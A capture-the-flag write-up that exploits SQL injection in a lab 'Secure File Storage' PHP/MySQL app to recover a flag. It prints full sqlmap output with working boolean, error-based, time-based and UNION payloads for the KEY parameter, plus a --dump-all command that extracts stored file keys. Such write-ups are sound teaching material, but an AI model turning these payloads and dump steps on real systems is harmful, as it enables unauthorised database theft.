Hacking the not so secure “SECURE FILE STORAGE”.

Application Overview

Visiting our application at http://172.16.67.149:8880 we are greeted by a so-called “Secure File Storage”, which seems to allow us uploading and downloading files “in a secure way”.

Main Page

Figure 1 - Main Page

After some poking around, it seems the upload function is currently “temporarily disabled”, only the download page is working. This page is only a pretty basic form:

Retrieve Page

Figure 2 - Retrieve Page

When entering a key in /retrieve.html we get redirected to a new page where our entered key is a GET parameter (/load.php?KEY=<my_scret_key>). We know the application has to somehow check if the parameter is valid, and handle the file download. The most standard thing to implement something like that is a database management system. Let’s try to find out if there is a database behind, and if there is a SQL-Injection vulnerability present:

A simple automated SQL-Injection

$ sqlmap -u http://172.16.67.149:8880/load.php?KEY=1

sqlmap is a tool to automatically detect and exploit database vulnerabilities. And it seems we have success with it:

        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.2.7#stable}
|_ -| . [']     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 15:26:37

[15:26:37] [INFO] testing connection to the target URL
[15:26:37] [INFO] heuristics detected web page charset 'ascii'
[15:26:37] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[15:26:37] [INFO] testing if the target URL content is stable
[15:26:38] [INFO] target URL content is stable
[15:26:38] [INFO] testing if GET parameter 'KEY' is dynamic
[15:26:38] [WARNING] GET parameter 'KEY' does not appear to be dynamic
[15:26:38] [INFO] heuristic (basic) test shows that GET parameter 'KEY' might be injectable (possible DBMS: 'MySQL')
[15:26:38] [INFO] testing for SQL injection on GET parameter 'KEY'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 
[15:26:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:26:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[15:26:52] [WARNING] reflective value(s) found and filtering out
[15:26:52] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[15:26:52] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)'
[15:26:53] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[15:26:53] [INFO] GET parameter 'KEY' appears to be 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable 
[15:26:53] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[15:26:53] [INFO] GET parameter 'KEY' is 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' injectable 
[15:26:53] [INFO] testing 'MySQL inline queries'
[15:26:53] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[15:26:53] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:26:53] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[15:26:53] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[15:26:53] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[15:26:53] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[15:26:53] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[15:26:53] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind'
[15:27:13] [INFO] GET parameter 'KEY' appears to be 'MySQL >= 5.0.12 OR time-based blind' injectable 
[15:27:13] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:27:13] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[15:27:13] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[15:27:13] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[15:27:13] [INFO] target URL appears to have 5 columns in query
[15:27:13] [INFO] target URL appears to be UNION injectable with 5 columns
[15:27:13] [INFO] GET parameter 'KEY' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'KEY' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 256 HTTP(s) requests:
---
Parameter: KEY (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: KEY=1" RLIKE (SELECT (CASE WHEN (8013=8013) THEN 1 ELSE 0x28 END))-- QioH

    Type: error-based
    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
    Payload: KEY=1" AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b716271,(SELECT (ELT(4915=4915,1))),0x716b6a7871,0x78))s), 8446744073709551610, 8446744073709551610)))-- jfCv

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: KEY=1" OR SLEEP(5)-- NhDh

    Type: UNION query
    Title: MySQL UNION query (NULL) - 5 columns
    Payload: KEY=1" UNION ALL SELECT NULL,CONCAT(0x716b716271,0x636f4669766c446a6c454c4875516f56724979704b42425542444b49646e6d586752577a4f42436f,0x716b6a7871),NULL,NULL,NULL#
---
[15:27:56] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[15:27:56] [INFO] fetched data logged to text files under '/home/ec2-user/.sqlmap/output/172.16.67.149'

[*] shutting down at 15:27:56

It detected a MYSQL database in the background and found some injection points to run SQL queries. Now we only need to download the database and we should be finished:

$ sqlmap -u http://172.16.67.149:8880/load.php?KEY=1 --dump-all --exclude-sysdbs

This command simply tells sqlmap to dump all interesting tables into a file.

        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.2.7#stable}
|_ -| . [)]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 15:28:41

[15:28:42] [INFO] resuming back-end DBMS 'mysql' 
[15:28:42] [INFO] testing connection to the target URL
[15:28:42] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: KEY (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: KEY=1" RLIKE (SELECT (CASE WHEN (8013=8013) THEN 1 ELSE 0x28 END))-- QioH

    Type: error-based
    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
    Payload: KEY=1" AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b716271,(SELECT (ELT(4915=4915,1))),0x716b6a7871,0x78))s), 8446744073709551610, 8446744073709551610)))-- jfCv

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: KEY=1" OR SLEEP(5)-- NhDh

    Type: UNION query
    Title: MySQL UNION query (NULL) - 5 columns
    Payload: KEY=1" UNION ALL SELECT NULL,CONCAT(0x716b716271,0x636f4669766c446a6c454c4875516f56724979704b42425542444b49646e6d586752577a4f42436f,0x716b6a7871),NULL,NULL,NULL#
---
[15:28:42] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[15:28:42] [INFO] sqlmap will dump entries of all tables from all databases now
[15:28:42] [INFO] fetching database names
[15:28:42] [INFO] used SQL query returns 4 entries
[15:28:42] [INFO] retrieved: information_schema
[15:28:42] [INFO] retrieved: mysql
[15:28:42] [INFO] retrieved: performance_schema
[15:28:42] [INFO] retrieved: secure_files
[15:28:42] [INFO] fetching tables for databases: 'information_schema, mysql, performance_schema, secure_files'
[15:28:42] [INFO] skipping system databases 'information_schema, mysql, performance_schema'
[15:28:42] [INFO] used SQL query returns 1 entries
[15:28:42] [INFO] fetching columns for table 'files' in database 'secure_files'
[15:28:42] [INFO] used SQL query returns 5 entries
[15:28:42] [INFO] retrieved: "id","int(6) unsigned"
[15:28:42] [INFO] retrieved: "filename","varchar(64)"
[15:28:42] [INFO] retrieved: "security_key","varchar(64)"
[15:28:42] [INFO] retrieved: "reg_date","timestamp"
[15:28:42] [INFO] retrieved: "data","mediumblob"
[15:28:42] [INFO] fetching entries for table 'files' in database 'secure_files'                     
[15:28:42] [INFO] used SQL query returns 2 entries
[15:28:42] [INFO] retrieved: "lQHYBFvkxyYBBADeSgtDKhmMqDQ2LifiC0YWRsEBXbdk9qqPw0Y7LZp9mRNEkPi4j/Qj...
[15:28:42] [INFO] retrieved: "iVBORw0KGgoAAAANSUhEUgAAAfQAAAK8CAYAAAAZNU0WAAAACXBIWXMAAAsTAAALEwEA...
Database: secure_files                                                                              
Table: files
[2 entries]
...
[15:28:42] [INFO] table 'secure_files.files' dumped to CSV file '/home/ec2-user/.sqlmap/output/172.16.67.149/dump/secure_files/files.csv'
[15:28:42] [INFO] fetched data logged to text files under '/home/ec2-user/.sqlmap/output/172.16.67.149'

Downloading the FLAG

Now we only need to look into the database dump. I truncated the data column to have some better overview what’s in there:

$ cat /home/ec2-user/.sqlmap/output/172.16.67.149/dump/secure_files/files.csv
id,data,filename,reg_date,security_key
1,<some data>,ace_of_hearts.key,2018-11-26 20:44:26,071722ef-600d-4072-964d-a544daf0f04d
2,<some data>,3_of_diamonds.png,2018-11-26 20:44:26,ce7d2a47-2fa3-4f16-9270-c00885548121

We could extract the data directly from the database dump. But I will do the lazy version and use the website itself for the download:

  • ace_of_hearts.key: Downloaded with /load.php?KEY=071722ef-600d-4072-964d-a544daf0f04d
  • 3_of_diamonds.png: Downloaded with /load.php?KEY=ce7d2a47-2fa3-4f16-9270-c00885548121

3_of_diamonds.png

3_of_diamonds.png

Figure 3 - Retrieved 3_of_diamonds.png

The last step is to calculate the md5sum of 3_of_diamonds.png to get the actual flag, and submit it:

$ md5sum 3_of_diamonds.png
81c4ddda4cb14c06d4cd4284d5ceb871  3_of_diamonds.png

ace_of_hearts.key

The file ace_of_hearts.key is a PGP Key, for a different challenge. But no solution of this challenge from our side :(

$ file ace_of_hearts.key
ace_of_hearts.key: PGP key security ring